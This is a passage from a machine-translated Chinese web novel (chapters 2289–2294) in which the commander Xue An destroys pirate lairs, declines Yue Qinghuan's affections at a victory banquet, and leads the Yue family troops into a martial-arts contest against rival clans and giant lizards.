    So he raised his head and just wanted to say something.


    Xue An ignored him, but wandered to the porthole of the banquet hall.


    Outside the window is the boundless space, and in the distance is the nest of Lu Bingtang and others.


    Xue An looked at the huge and ugly pirate ships, and said lightly: "It''s useless to keep it, just push it straight!"


    With an order, these Yue family soldiers bowed their heads and bowed their hands.


    Wow!


    It was the sound of the armor colliding.


    Then these soldiers turned silently, and left the giant ship to rush towards the pirate lair in the distance.


    boom!


    Accompanied by the flames rising into the sky, in the blink of an eye, this pirate lair managed by Lu Bingtang was plunged into a sea of ??flames, and there was even a faint cry of killing and begging for mercy.


    But soon, all these voices fell silent.


    After the fire dissipated, the pirate ships had been completely broken apart.


    The corpses of numerous pirates were suspended quietly.


    So far, this pirate lair that has been entrenched at the door of Yue''s house for several years has thus become history.


    Seeing all this, Lu Bingtang couldn''t stop trembling all over, then he slumped to the ground, actively spit out two points of brilliance.


    It is his portable space.


    Xue Anxin took it, with a smile on his face, "You are a smart person. Since you are a smart person, you should know what to do next!"


    Lu Bingtang tremblingly nodded, "Yes...I know! The nearest pirate lair is at 12:45 on the star map, about a day away!"


    "well!"


    Xue An nodded in satisfaction, then turned to look at Xiang Yue Qinghuan, Jing Caihe and others.


    "Excuse me, if your fleet is not in a hurry, I want to requisition this huge ship, can I?"


    Although it was in a negotiating tone, the power in the words could not be refuted.


    Jing Caihe was already stunned by what had just happened, and when he heard that Xue An was actually planning to wipe out all the pirates on the trade road, he was overjoyed, and there was no reason to disagree.


    I saw her bowing her head respectfully: "My lord, you can requisition this huge ship!"


    "Well, now let''s proceed according to the direction he said!"


    The power unit of this giant sword began to charge quickly, and then spewed a faint blue flame from the tail.


    boom!


    Accompanied by a slight shock, the huge ship quickly ejected and rushed into the vast space at a very fast speed.


    One day later, in a pirate lair no less than Lu Bingtang in size, the flames soared into the sky, but there was no screaming.


    Because all pirates have become dead bodies suspended in space.


    From the time the giant ship flew here until now, the whole killing process was terribly short.


    Even before Lu Bingtang came back to his senses, everything was over.


    At this time, the eyes he looked at Xue An and these soldiers became more and more in awe.


    Xue An stood with his hand in front of the window, but there was no expression on his face, and there was no wave in his heart.


    Because whether in the heavens or in the outer heavens, who can become an interstellar pirate, without exception, no one is innocent!


    Only those who are really desperate with their hands full of blood will join the pirates.


    Therefore, Xue An did not have the slightest psychological pressure to kill these scumbags.


    "Another...Are there any other?"


    "Yes!"


    At this moment, Lu Bingtang''s mentality had been completely defeated, because he knew that he was bound to die.


    And it couldn''t be better to be able to pull some people into the water before dying.


    Therefore, he nodded like garlic, "At six and seven minutes from here, two days away, there is a pirate larger than mine!"


    "Okay, let''s go!"


    So in the next few days, Xue An led the soldiers of the Yue family through the space for hundreds of millions of miles.


    Wherever he went, all the pirates were turned into powder.


    For a time, all the pirates on the business road related to the Yue family were swept away.


    The news spread, and the entire military strategist was shaken by it.


    "What? Yue Jiaran took the initiative to clean up all the pirates?"


    In the Long Family, Mrs. Lihua suddenly raised her eyes after hearing the news, and her eyes were full of disbelief.


    Being able to stand on the Yuejia Commercial Road, these pirates have more or less instructions from other families behind them.


    The Long Family is naturally one of them.


    After all, although this method could not shake the Yue Family''s fundamentals, it could make him sweep the floor with majesty and lose a little blood.


    Unexpectedly, in just a few days, all the chess pieces that the Long family secretly arranged were removed.


    How could this not shock Mrs. Ewha.


    "Yes, madam, not only that, Xue An also let out a word, if there is anyone who dares to covet the Yue family in the future, kill me!"


    Although it was just a retelling, even though it was only a few words, Mrs. Ewha still read the murderous intent from this sentence.


    Her heart couldn''t help but was startled, suddenly remembering the boy in white clothes who had almost fallen into the Yue Family Banquet Hall, unable to extricate herself, her pupils couldn''t help but shrank, and then she said in a deep voice.


    "Okay, I see, you go down first!"


    "Yes!"


    After the informant left, Mrs. Ewha''s eyes waved, thinking about countermeasures. After a long time, she secretly gritted her teeth.


    "Xue An, I really underestimated you at the beginning, but don''t worry, I must get rid of you first when I get to the martial arts show!"


    Not only the Long Family, but other military divisions also shook together.


    This feeling is as if a dying sick tiger suddenly broke out with a loud roar.


    The unprepared sense of power makes everyone horrified, UU reading also reminds everyone of the power of the king!


    Among the Yue family, the reaction was even more enthusiastic.


    People who had doubts about Xue An before could not help but applaud after hearing this.


    After all, they have been aggrieved for too long.


    Now that I can finally raise my eyebrows, how can I not rejoice for it.


    In the backyard flower hall, the second girl gave a chuckle.


    "This guy, there really are two things!"


    However, Yue Shifang was not in the mood to speak. At this moment, he was grimly dealing with the bowl of medicinal soup in front of him.


    Until finally plucked up the courage to pour it down, Yue Shifang couldn''t help but breathe a sigh of relief in the bitterness of his soul.


    Boy, good job!


    (End of this chapter)

 Chapter 2290： Welcome ceremony

    Chapter 2290 Welcome Ceremony (first more)


    At the same time, there was another person in the Yue family who said something similar with joy.


    "Junze, great!"


    The speaker was Yue Junze''s father, Yue Hechang.


    I saw him pacing around the house with excitement, suddenly stopped, and asked softly: "Does the Patriarch know the news?"


    "I should know!" the next person replied.


    "No, I''m going to see the Patriarch in person, the soldiers who went on the expedition will return soon, we should always show something!"


    After that, Yue Hechang left happily.


    When she came to the flower hall in the backyard, the second girl had just left.


    Yue Hechang bowed and saluted, "Patriarch!"


    Yue Shifang was not surprised at the arrival of Yue Hechang, and smiled slightly: "I guess you will come, and they did a good job this time. You can hold a ceremony to welcome them back in triumph instead of me, too. Encourage everyone''s morale!"


    Yue Hechang was overjoyed, "Yes!"


    Soon, this proposal spread throughout the Yue family.


    People did not have the slightest objection to this, and immediately acted to prepare for the welcome ceremony.


    Speaking of it, the Yue family hasn''t been so busy for a long time, so people can be described as rejoicing, and they can''t wait for the whole Yue family headquarters to be bright and colorful.


    And when everyone from the Yue family was preparing for the welcome ceremony, Xue An led all the soldiers and the Jing family caravan to return to the headquarters mightily.


    Wherever he went, whether it was the passing businessmen or the various soldiers stationed in the local area, they all showed sufficient respect for him.


    There is no other reason. In this short period of one month, Xue An led the soldiers of the Yue family to clean up all the pirates on the trade road.


    At this point, there is no more pirate in the void of the Yue family''s diverging areas of billions of miles.


    But the Yue family soldiers had no casualties.


    This record is daunting enough.


    Seeing this scene, the people of the Jingjia caravan can be said to be elated and feel a lot of face.


    Even Yue Qinghuan and Yue Junze were excited about it.


    Only Xue An is noncommittal about this.


    Because he knows very well that all this is just the beginning.


    The real test is in that martial arts conference.


    However, looking at the blood and fire tempering behind him, the whole body''s evil spirit is like the essence, and the brave and brave soldiers have shown themselves, Xue An has the confidence to shred any enemies who dare to stand in front of him.


    In this highly anticipated situation, Xue An and others finally returned to the Yue family headquarters.


    The moment they stepped off the giant caravan, countless fireworks rose into the sky, bright fireworks illuminating the sky.


    The entire Yue family headquarters came out even more, expressing the highest level of welcome to the returning soldiers of the Yue family.


    Including Yue Junze, all soldiers were shocked by this welcome ceremony.


    Even Yue Qinghuan looked at the flying colored **** in the sky in a daze.


    At this moment, Yue Hechang walked forward with a smile on his face.


    "My Lord Commander, your trip to kill the Quartet and eliminate the pirates who are inflicting trade routes can be said to boost the reputation of my Yue family. I have specially held a grand triumphal ceremony for you here! Please!"


    In an instant, all eyes were focused on Xue An at the front of the team.


    Unlike last time, no one has any objections to Xue An''s appointment this time, and his eyes are full of respect.


    Xue quietly stood there, looking at the brightly decorated Yue family headquarters, without speaking.


    The court gradually calmed down, and the soldiers of the Yue family were even more immobile, even without blinking their eyelids.


    The atmosphere became serious.


    Many people''s faces changed slightly, wondering why the soldier who had returned from the victory did not say a word.


    Could he be dissatisfied with this welcome ceremony?


    At this moment, but seeing Xue An''s mouth gradually raised, a slight smile was revealed.


    "You guys are interested!"


    With that said, he took a step and walked forward.


    Seeing this scene, the atmosphere in the court was considered to have eased, and a big rock in many people''s hearts fell to the ground, and smiles reappeared on their faces.


    After the crowd, Yue Junze couldn''t help but sigh.


    "The third brother-in-law is really amazing. People don''t dare to say anything unless he laughs. When will I reach this point!"


    Of course, his voice was very small and did not attract the attention of others.


    Jing Caihe, who was only behind him, turned his eyes slightly, and then looked at Xue An in the distance in amazement.


    This boy in white... is really amazing!


    You must know that she has followed the army for more than a month. Xue An''s calmness and wisdom and the subtle control of the battlefield situation made Jing Caihe amazed.


    Therefore, she is not surprised that the Yue Family has put on such a big battle.


    After all, the long-lost Yue family needed a victory too much.


    Soon, a group of people came to the venue.


    But then there was an episode.


    The person in charge of this banquet from the Yue family entertained all the soldiers to take their seats, but no one agreed, but stood silently and looked at Xue An together.


    Yue Hechang''s heart was even more shocked.


    Once upon a time, these elite soldiers were all arrogant and domineering soldiers, except for the soldier **** Yue Guannan and the Patriarch, no one was in their eyes.


    But I didn''t expect that after Xue An took office, the situation would change drastically after a few days.


    Just looking at the performance of these soldiers nowadays, it really can be called an order and prohibition.


    Therefore, he couldn''t help but reverence his tone a little more, "Master in charge, you soldiers on the expedition, must have been very hard, should you let them sit down?"


    Xue An turned his head and glanced at these soldiers and smiled slightly, "Sit down, you guys have really worked hard along the way, so you don''t have to be restrained for this meal!"


    It was not until Xue An ordered that these soldiers relaxed. Qi Qi saluted Xue An and then took their seats.


    Even so, they are still in order, giving people a kind of pressure.


    Yue Hechang and the many elders of the Yue family couldn''t help being overjoyed when they saw this scene.


    As long as this performance can be maintained and when it comes to the martial arts arena, not only can the current ranking be maintained, but it may even go further!


    As a result, the next triumphant reception banquet everyone can be said to be very enjoyable.


    Many people lined up to toast Xue An, especially the younger generation of the Yue family. Seeing that Yue Junze had just followed out for a trip, there had been tremendous changes after returning, and even won the appreciation of his parents. They couldn''t help but start to try. Taking the opportunity of a toast, he expressed the idea that he also wanted to exercise with the big troops.


    Xue An did not reject this. Although it is impossible for these young people to follow the martial arts stage, it is good for them to exercise together.


    This can be regarded as an increase in knowledge and strength for the younger generation of the Yue family.


    For this, these parents-in-laws know well, so they are even more grateful to Xue An.


    Everyone came forward to toast, Xue An''s cup came to dry the wine, and he never declined.


    This has won him a number of fans!


    (End of this chapter)

 Chapter 2291： Acquaintance hate late

    Chapter 2291 the acquaintance is too late (second more)


    Take a look at this soldier-in-chief, not to mention anything else, this is one of the best in alcohol.


    As the night darkened, many people who wanted to fight Xue An got so drunk that they staggered away.


    The banquet gradually came to an end.


    Although drinking was allowed at this banquet, these soldiers were still very restrained, only drank a few cups, and then voluntarily retired and returned to the Yue family''s training ground.


    Xue An sat on the main seat, drinking slowly.


    By now, he has drunk countless wines, but the more so, the clearer his eyes.


    Now it is like two rounds of bright and bright moon, which is breathtaking.


    Some of the young girls from the Yue family did not leave, but hid in the distance and pointed at Xue An, with admiring gazes from time to time.


    After all, Xue An is a first-class existence whether it is talent or appearance.


    Young Muai, young girl Huaichun.


    How can these Yue family girls avoid the vulgarity.


    But at this moment, a beautiful shadow sat beside Xue An.


    As soon as they saw her, the girls of the Yue family in the distance were gloomy, and then they dispersed.


    There is no other reason, but the gap is too big to compete with others!


    Xue An didn''t even turn his head back to this, because he knew who came by only the sound of footsteps.


    "Not asleep yet?"


    "Aren''t you the same?"


    "Hehe, I was suddenly aroused by alcohol today, so just drink it for fun!" Xue An smiled.


    A gentle smile appeared on Yue Qinghuan''s face, and the brilliance loomed in his lavender eyes, "Then I can drink with you?"


    "You?" Xue An glanced at Yue Qinghuan, only to realize that she didn''t know when she changed into a brand new dress.


    The light green gauze skirt pouring down like soft smoke and green leaves, when it reached the waist, it suddenly converged in a thrilling curve.


    And the looming long legs below are even more irritating.


    The pair of bare feet under the gauze skirt is as spotless as ever, crystal clear and white, like jade.


    I have to admit that the well-dressed Yue Qinghuan''s appearance is not more than that of An Yan, and he is indeed the goddess recognized by the younger generation of military strategists.


    Even Xue An couldn''t help but flash in his eyes.


    After sensing Xue An��s gaze, Yue Qinghuan��s cheeks were slightly red, and he turned his head to the side, and said, "What are you looking at? I haven''t seen it before?"


    Xue An smiled slightly, even if he narrowed his gaze, he didn''t look back anymore.


    Somehow, Yue Qinghuan felt empty in his heart, faintly regretting that what he said just now was a bit too heavy.


    So she stretched out her slender hand and picked up the jug on the table to fill Xue An and herself with wine.


    "Come on, I''ll have two drinks with you!"


    Xue An smiled, took the cup in his hand, and drank it in one fell swoop.


    "Hey, do you always drink so fast?"


    "if not?"


    "Don''t you drink alcohol slowly, so you can taste it?"


    "That''s someone else, I always drink by myself!"


    Yue Qinghuan: "..."


    Xue An looked at her with a faint smile, "If you feel that you can''t drink a mouthful, you can drink slowly!"


    "Who said I can''t drink anymore?"


    Yue Qinghuan gritted his teeth, then drank the wine in his glass as soon as he raised his neck.


    The mellow wine flowed down her throat into her stomach, and then a flame rose up on her face, and even her lavender eyes were three-point drunk.


    Xue An was a little surprised.


    This is just a glass, is that just the amount of alcohol?


    But Yue Qinghuan didn''t know this at all, and after she drank it, she seemed to have opened the second line of Ren Du, and her whole person suddenly became bold and unrestrained.


    "It''s really good to drink like this, come on, go on!"


    Without waiting for Xue An to stop, she filled the glass again.


    When the glass of wine was finished, the drunkenness in her eyes grew stronger, but she wanted to pour it again.


    Xue An took the wine glass directly, "Well, you drank too fast!"


    "Hehe, isn''t this what you taught me!" Yue Qing said with a smile.


    At this time, everyone else had already left with great interest, and even Yue Junze, who wanted to secretly watch the excitement, was forcibly dragged away by his father.


    Xue An and Yue Qinghuan were left in the huge banquet hall.


    Xue An said indifferently: "I am me and you are you, I won''t get drunk like this, but you are different!"


    "Isn''t it okay to be drunk? If you are drunk...it won''t be painful!" Yue Qinghuan whispered.


    Xue An raised his eyes and glanced at her, but Yue Qinghuan''s expression was very calm.


    "Actually, I knew from the beginning that you would never accept me, right?"


    Xue An nodded.


    Yue Qing smiled happily, eyes full of tears.


    "You are a good man, really, the only pity is that we met too late!"


    Xue An was silent.


    "I think you should know my origin!" Yue Qinghuan said softly.


    "Have heard a little!"


    "Haha, are you surprised? Surprised that I am not a human?"


    "No!"


    "No need to explain, in fact, I know everything very well, even my appearance is like a mistake! My brother is about to solve the problem, but I can''t carry the burden of the Yue family. If it were not for you, maybe after this martial arts performance, Yue family Will fall into a complete decline!"


    "You said... Am I very clueless?"


    Xue An still shook his head, "No!"


    "Don''t comfort me, I know everything, I just don''t want to say it!"


    Yue Qinghuan leaned on the chair, "It was the first time in my life that I was moved by someone, but ended up without a problem. What a joke!"


    While talking, she laughed, but tears fell from her eyes.


    "You are drunk, let''s go!" Xue An got up to leave.


    "I''m not drunk, will you stay with me for a while?" Yue Qinghuan said suddenly.


    Xue An was stunned, then sat down again.


    "Where are you going after performing Wushu?" Yue Qinghuan asked suddenly.


    "First think of a solution to your brother''s injury, and then look for my enemy."


    Mentioning this, Yue Qinghuan''s eyes lit up slightly.


    "What if you can''t find it?"


    "It''s impossible to find something, even if I exhaust the whole world, I will get those people out!" When he said this, Xue An''s face was full of determination.


    Yue Qinghuan looked obsessively, then filled the wine, "Then I wish you an early realization of your wish!"


    "same to you!"


    In the dead of night, the glass of UU reading www.uuk��nshu.com is empty.


    Xue An looked at Yue Qinghuan, who was lying motionless on the table, and suddenly sighed.


    "Yan''er, it''s better for you to come!"


    Soon, there was a burst of laughter in the air, and then An Yan, who had not shown her face for a long time, appeared.


    When she saw Yue Qinghuan who was drunk and unconscious, she couldn''t help but sigh.


    "This girl really trusts you!"


    Yes!


    Such a beautiful young girl is drunk in an unmanned banquet hall, which is a huge temptation for every man.


    Xue An didn''t take a second look, but said indifferently: "Well, hurry up and help her out, otherwise the delay will be a long time, and it will damage her reputation!"


    After all, Xue An turned around and left first.


    (End of this chapter)

 Chapter 2292： Kicked off

    Chapter 2292 the curtain opened (first more)


    At the same moment, Yue Shifang in the flower hall of the backyard sighed faintly.


    "This guy is really... unfeeling enough!"


    Suddenly Yue Shifang didn''t know how to describe Xue An.


    It stands to reason that he should be comforted by Xue An''s approach.


    After all, he also knew that Xue An could not be with his sister.


    But how could I feel a little lost in my heart?


    It''s as if the most precious thing of oneself is not appreciated by others at all.


    "What are you sighing for?" A hand gently stroked Yue Shifang''s shoulder, gently kneading.


    "You said that a man is indifferent to a girl who takes the initiative to get drunk in front of you. What does this mean?"


    "It means there are two possibilities!" The second girl said softly.


    "Oh? Which two?"


    "The first possibility is that this man is not interested in this girl at all."


    Yue Shi looked contemplative, "What about the second possibility?"


    "The second possibility is that this man is terrible of self-discipline, and can even control all his emotional fluctuations, but this possibility is minimal!"


    "By the way, what are you asking about this?" the second girl asked curiously.


    Yue Shifang smiled, "It''s nothing, it''s just a thing that suddenly came to mind!"


    the next day.


    When the sun had already shone in, Yue Qinghuan just wailed and woke up slowly.


    Because of the hangover, although she woke up, she was still in a dazed state.


    It wasn''t until the scene of a cup of tea that she suddenly remembered something, and immediately reached out to touch her clothes.


    The clothes are intact, still wearing them.


    At the same time, she felt it and found that her body was nothing unusual, and she took a breath.


    But soon, the look on her face became sad.


    At this moment, I heard a voice coming.


    "You are awake!"


    Yue Qinghuan was horrified and horrified, and immediately looked up, but saw An Yan sitting on the chair by the window looking at her with a smile.


    Many thoughts flashed in Yue Qinghuan''s mind, but in the end he turned into a soft whisper to his lips.


    "Last night...you sent me back?"


    "Yeah, you already drank so much that you didn''t know anything about it at the time. I was afraid of danger, so I watched you all night!" An Yan smiled.


    "Thank you!" Yue Qinghuan said softly.


    "You''re welcome, now that you wake up, I should go too!"


    After all, An Yan got up and left.


    "Wait!"


    "Is there anything else?"


    "Where did he go?"


    "Naturally, I went to the training ground! Isn''t it about to perform martial arts? Naturally, he must hurry up to train!" An Yan said.


    Yue Qinghuan was stunned.


    Yes!


    The performance martial arts conference is coming soon!


    An Yan looked at Yue Qinghuan with a confused face, shook his head gently, and then turned and left.


    As An Yan said, at this moment Xue An is intensively training soldiers on the training ground.


    This martial arts conference is of great importance and should not be missed, so Xue An is also extremely cautious.


    After An Yan came back, he didn''t rush back to the Fubao Xiaolou, but stood in the distance and watched quietly.


    At this time, Yue Junze, who was training with the soldiers, noticed An Yan and was a little surprised.


    Because he had never seen An Yan, he naturally didn''t know who this stunning beauty was and how he would appear here.


    "Ahem, three...sir, who is this girl?" Yue Junze asked.


    Xue An smiled, "That''s my wife!"


    "Husband... Madam?" Yue Junze''s eyes widened in an instant, and he couldn''t believe his ears.


    what happened?


    Isn''t Xue An his third brother-in-law? How could there be a lady suddenly?


    At this time, Xue An ordered: "Take a quarter of an hour!"


    Then he turned and walked to An Yan.


    "Yan''er, how is she?"


    "Already sober up!"


    Xue An nodded, "Go back?"


    "Don''t worry, it''s boring to always stay inside, and it''s not bad to come out to let the air out!" An Yan smiled.


    "Okay! Then I''ll continue to work!"


    Said Xue An turned around to leave.


    At this moment, An Yan suddenly lowered his voice and said, "Husband!"


    "Ok?"


    "Are you really not tempted?"


    Xue An slowly turned around to look at An Yan.


    An Yan shrugged, "To be honest, although she is both a woman, I was almost tempted by Miss Yue''s appearance last night. If I were a man, it would be difficult to control it!"


    As she said, she raised her head and looked at Xue An with shining eyes.


    "So I won''t be angry even if you are tempted, is it human nature!"


    Xue An laughed suddenly, then stretched out his hand and gently rubbed An Yan''s head.


    "You! I''ve been thinking about things all day long, if I really want to be tempted, why did I call you out at that time?"


    An Yan''s hair was messed up by Xue An, but even so, An Yan''s eyes were still moisturized with an extremely gentle brilliance.


    "Husband!"


    "Ok!"


    "It''s so kind of you!"


    If it weren''t for the fact that there are still many people present, An Yan really wants to rush into Xue An''s arms to have a kiss.


    Xue An smiled, "Silly girl!"


    Then he turned around and went back to stay busy.


    This incident was like an episode, and it didn''t attract too many people''s attention.


    But Yue Qinghuan didn''t show up all day, and it wasn''t until the next day that she appeared on the training ground as usual.


    It''s just that the amazing light green dress has been taken off and put on everyday wear.


    At the same time, the entire Yue family already knew that Xue An had a family, and she was also a stunning beauty with a face that was not inferior to Yue Qinghuan.


    The news caused a low uproar.


    Because people never expected such a thing to happen.


    Almost everyone thought of Xue An as Yue Qinghuan''s future husband-in-law, but this happened.


    Those who regret it for a time have it, and those who are fortunate have it.


    But soon the turmoil of this matter subsided.


    Because everyone''s attention was attracted by the upcoming martial arts conference.


    In this tense atmosphere, the day of departure finally arrived. The Yue family soldiers who had been prepared for a long time got up, and under the leadership of Xue An and the many elders of the Yue family, they left the Yue family headquarters and headed to the military exercise field.


    Long family.


    Long Yushu satisfactorily looked at this **** exuding rich blood and said solemnly: "Go!"


    boom!


    Everyone moved together, and Long Zhan, who was wearing a black mask, also mixed in the team and flew into the void.


    At this moment, his heart is hot.


    Xue An, when you are on the martial arts field... it will be your death date!


    Sima''s house.


    Sima Chongchao led the army to the martial arts field.


    Sima Tiancheng followed, but there was an ominous premonition in his heart.


    This time the expedition seems to be a little different!


    At the same time, not only the Yue Family Long Family and the Sima Family, but several other branched families also sent their elites.


    A grand event kicked off immediately.


    (End of this chapter)

 Chapter 2293： Beginning of performance

    Chapter 2293 the battle begins (second more)


    The martial arts field is located in the middle of the military galaxy, and it is an extremely huge planet.


    When Xue An and others arrived, people from several big families had already arrived.


    When the soldiers of the Yue family landed, people in the distance looked at this place, and then they started talking in whispers.


    "Isn''t this from the Yue family?"


    "Yes! The Yue family is here!"


    "Tsk tsk, I heard that they have changed a soldier in charge, which is quite a routine, but I look at how I am just a sucker!"


    "Hehe, it''s just a small character at the Immortal Venerable level, where can he be so good?"


    These people talked a lot, some even deliberately said loudly, and their voices faintly floated over.


    Yue Junze couldn''t help but look angry.


    "These guys are really disgusting!"


    When he said that, he had to go forward to theory.


    Xue An waved his hand, "Don''t worry about what they say, all of their own strength will speak!"


    Yue Junze had already convinced Xue An to the extreme, he immediately stopped when he heard the words, only glaring at those in the distance.


    Xue An said to the soldiers of the Yue family: "Before it starts, recharge as soon as possible!"


    Everyone nodded, then stood silently and began to accumulate energy.


    Gradually, the voice of these people gradually stopped.


    Because the soldiers of the Yue family at this moment, the evil spirit exuding from his body has been so strong that it is almost substantial.


    This also makes many people slightly discolored.


    On the other side of the martial arts field, a general who was meditating cross-legged opened his eyes and turned to look towards Xue An.


    "It''s such a powerful military force. It seems that this year''s martial arts performance is a bit interesting!"


    The words are full of excitement.


    Behind him is an extremely brave and elite force. A large banner is erected in front of the team, with two ancient seal characters of Zhongli embroidered on it.


    Zhong is away from home!


    One of the twelve points of the Yue family, and it is the existence that ranks at least in the top three in strength.


    And this general is Zhong Li''s commander, Zhong Li Wuwei.


    This Zhong Li Wuwang has a great reputation among military strategists because he is a complete soldier idiot.


    How foolish is it?


    Unless it involves pawns, he will never come out!


    In his words, everything that has nothing to do with soldiers is a waste of life.


    Just when Zhong Li Wuwang was excited and eager to try.


    Another force descended from the sky.


    The arrival of this group of people immediately caused a commotion in the audience.


    Because the person who came was actually an army of women.


    That''s right!


    It is a force composed purely of women.


    The leader is a woman with bright armor and a phoenix helmet on her head.


    This woman is tall, and she is even more heroic after putting on her armor. The phoenix helmet faceplate is lifted, revealing a handsome cheek below.


    Especially the pair of Danfeng Eyes, it can be said to be extremely brilliant.


    "It''s Gu Wangya, people from the Gu family are here!" someone whispered.


    This Gu family is also one of the twelve branches of military strategists, and its strength can be ranked in the upper middle and upper reaches.


    The most important thing is that this Gu family is a family dominated by women.


    Therefore, their soldiers will be the women''s army.


    And Gu Wangya is the most outstanding existence in the Gu family.


    In fact, as the only female general among the soldiers, Gu Wangya is no less inferior to any man in terms of personal strength or leading the team.


    This is why she has won the respect of many people.


    After all, the military strategist is a place where strength is respected, and no one will show mercy to your subordinates just because you are a woman.


    "General Gu!"


    "I have seen General Gu!"


    The voice of greetings one after another.


    Gu Wangya nodded slightly to show his response, then looked around the audience, gave a sudden whisper, and fixed his gaze on the people of the Yue family not far away.


    Of course she recognized the soldiers of the Yue family, but she who had been leading the retreat practice, did not know the news that the leader of the soldiers of the Yue family had changed, so she was quite surprised at Xue An.


    "Where is Yue Guannan? Why did you change?" Gu Wangya asked.


    Someone stepped forward to explain to her in a low voice.


    After listening, she couldn''t help taking a deep look at Xue An, who was standing in front of the team, looking down and meditating, and a look of curiosity appeared in her eyes.


    The strength of this young man is not so strong, but why does it give people a breathtaking pressure?


    There are also the appearance of these Yue family soldiers who are immovable, obviously respecting this young man, and it seems that it is also a means.


    Just as she was thinking about it, several more brilliance landed one after another.


    People from the Long Family, Sima Family, and several other big families were all present.


    The entire martial arts field became lively.


    People acquainted with each other greeted each other, but more of them were taking the time to rest.


    Because the martial arts performance will officially begin soon, then there will be no chance to rest again.


    Long Yushu stared at Xue An coldly in the distance, and said in a deep voice: "When you get to the martial arts field, deal with the Yue family first!"


    "Yes!" the soldier behind him responded.


    Long Zhan was mixed among the soldiers, and a dangerous light loomed in his eyes.


    Sima Chongchao, the Patriarch of the Sima Family, sneered slightly at this moment.


    "That fellow Yue Shifang did not come. It seems that the rumors are true. After the secret of performing martial arts is opened, you must find a way to consume the Yue family''s vitality as much as possible, and it is best to strangle them all! Understand?"


    "Subordinates understand!"


    People in all major families are busy adjusting their strategies.


    Only Xue An did not say a word, standing quietly on the spot, waiting for the performance of martial arts to start.


    Because he had already said everything before he came, and all the preparations have been completed.


    All is ready except for the opportunity!


    Just at this time, the ground under his feet began to vibrate slightly.


    In an instant, a thin layer of mist filled it, covering everyone in it.


    Then I heard an ancient and desolate voice ringing in everyone''s ears.


    "The performance of martial arts begins!"


    Words fall.


    The fog in front of him quickly dissipated, but the scene around him was completely different.


    This is a barren swamp.


    People from other families have disappeared, and only Xue An and the soldiers of the Yue family exist in the swamp.


    Xue An took a deep breath, and the moist and smelly air rushed into his lungs.


    He slowly said: "According to the plan!"


    An order was given to . The soldiers dispersed immediately. Someone was in charge of guarding the four directions, while others began to explore the way.


    Everything is so orderly and orderly.


    But just as they traveled no more than tens of miles, the puddle under their feet suddenly began to bubble, and at the same time it shook slightly.


    At the same time, the sound of warning ahead was loud.


    "Enemy attack!"


    Without Xue An''s orders, the soldiers of the Yue family immediately transformed into a defensive formation with an eye-popping speed.


    At the moment it took shape, the shadow of the enemy finally appeared in the distance.


    However, I saw countless giant lizards stepping on the water and rushing towards the people of Xue An.


    These giant lizards are four or five meters tall, spit out scarlet tongues, and the thick green poisonous gas fluctuates with their breathing, making people horrified just by looking at them.


    (End of this chapter)

 Chapter 2294： Sharp blade

    Chapter 2294 the blade is bitter (first more)


    The blade was biting, but when it touched the skin of these lizards, it aroused a little spark, but nothing else was left, not even a scratch on the epidermis.


    Not only that, these lizards were also aroused to be fierce, wagging their tails and rushed towards the soldiers of the Yue family.


    Boom!


    Accompanied by a loud noise, the overall formation of the Yue family soldiers was shaken back several meters away.


    But fortunately, the sword and shield hand prepared in advance and shielded everyone with a huge shield, so no one was injured.


    But this is not a long-term strategy, because these lizards are coming so fiercely that they obviously intend to swallow the Yue family soldiers as a whole.


    At this moment, Xue An said solemnly: "Change formation, cone formation!"


    The voice was not loud, but it clearly reached the ears of every soldier of the Yue family.


    In an instant, the entire Yue family soldiers began to change rapidly, and finally formed a sharp as a cone formation.


    The tip of the cone is held by the squad leader among the soldiers, and it is the elite of the elite.


    "Chong! Kill those who block!" Xue An shouted again.


    The simple four words are full of supreme majesty.


    The might of the soldiers was vigorously shaken, and quickly converged on the tip of the cone.


    These few team leaders felt that their bodies were full of inexhaustible power, and their eyes were even more frightening.


    Puff puff!


    This time he wielded the blade again, and wherever he went, all the lizards blocking in front were cut in half.


    In the blood splashing, the cone array was like a sharp sword, directly piercing the entire lizard population.


    After rushing out, a **** alley was left behind.


    "Reflex, kill again!" Xue An''s tone was not mixed with the slightest emotion.


    The whole team quickly turned around like arms and rushed in again.


    After such a few rounds, most of these lizards were beheaded.


    The others finally felt fear, and then began to flee in all directions.


    But how could Xue An let them go.


    "Clean up the battlefield, leave no one behind!"


    At this moment, the soldiers of the Yue family were like a killing **** rushing out of hell, and the evil spirit on his body had been condensed into substance, turned into armor and draped on him.


    Under the blessing of this mighty force, all the lizards were slaughtered in a moment.


    When the last lizard fell, a cold voice sounded in the hearts of everyone participating in the martial arts conference.


    "The first act of trial, the Yue family first!"


    As soon as this voice came out, the soldiers fighting in their respective scenes couldn''t help shaking their bodies, and their faces were shocked.


    In the tropical rain forest, Long Zhan slashed a giant orangutan seven or eight meters tall, but when he heard the news, even the mask could not conceal the anger in his heart.


    "Asshole, isn''t this Yue family already declining? Why is it so strong?"


    Immediately he yelled at the leader of the Long Family''s commander: "What did you do for food? Someone else took the lead. All of them gave me the courage to kill the enemy. I will see the result in a quarter of an hour!"


    The commander of the Long Family made his face gloomy and his eyelids throbbed.


    He was extremely dissatisfied with Long Zhan''s behavior of overstepping on his behalf.


    Because the most taboo thing in the military is that two people have command rights at the same time.


    But there is no way, who makes Long Zhan the most beloved son of the Patriarch!


    Therefore, he could only endure the anger in his heart secretly, and said in a deep voice: "At any cost, end this first trial as soon as possible!"


    For a time, the soldiers of the Long Family began to attack frantically, and the progress became very rapid for a while.


    But this crazy attack is also overdrawing their physical strength in advance.


    This is an extremely unwise behavior. You must know that this is only the first trial, and there is still a long way to go!


    The Long family went crazy, and the Sima family''s life was not easy.


    Sima Tiancheng certainly wouldn''t be as stupid as Long Zhan, but he was also under pressure, because his father Sima Chongchao had already said it before performing martial arts.


    As long as this martial arts performance can achieve good results, he will be appointed as the future successor.


    For this goal, he can only move forward courageously.


    Therefore, he secretly winked at Sima''s commander.


    The opponent understood it, and began to deploy pawns to speed up the attack.


    Different from the stress of these two families, Zhong Li Wuwang, who was slaying the sea monsters heartily in the ocean, was taken aback when he heard the news, and immediately burst into laughter.


    "Okay! Is this interesting!"


    Then he turned his head and yelled at Zhongli''s soldier at home: "Children, can you hear me? Someone has taken our number one, so what should we do next?"


    "Kill! Kill! Kill!"


    It is normal for a few others who can serve as soldiers under Zhong Li Wuwang, and they are all red-eyed and screaming in a deep voice.


    "Yes, it''s killing! This martial arts performance, the first must be our Zhongli''s home, Chong!"


    Zhong Lijia began to fight frantically.


    On the other side of the battlefield, Gu Wangya, who was dealing with the monster in front of him without any haste, showed little excitement after hearing the news.


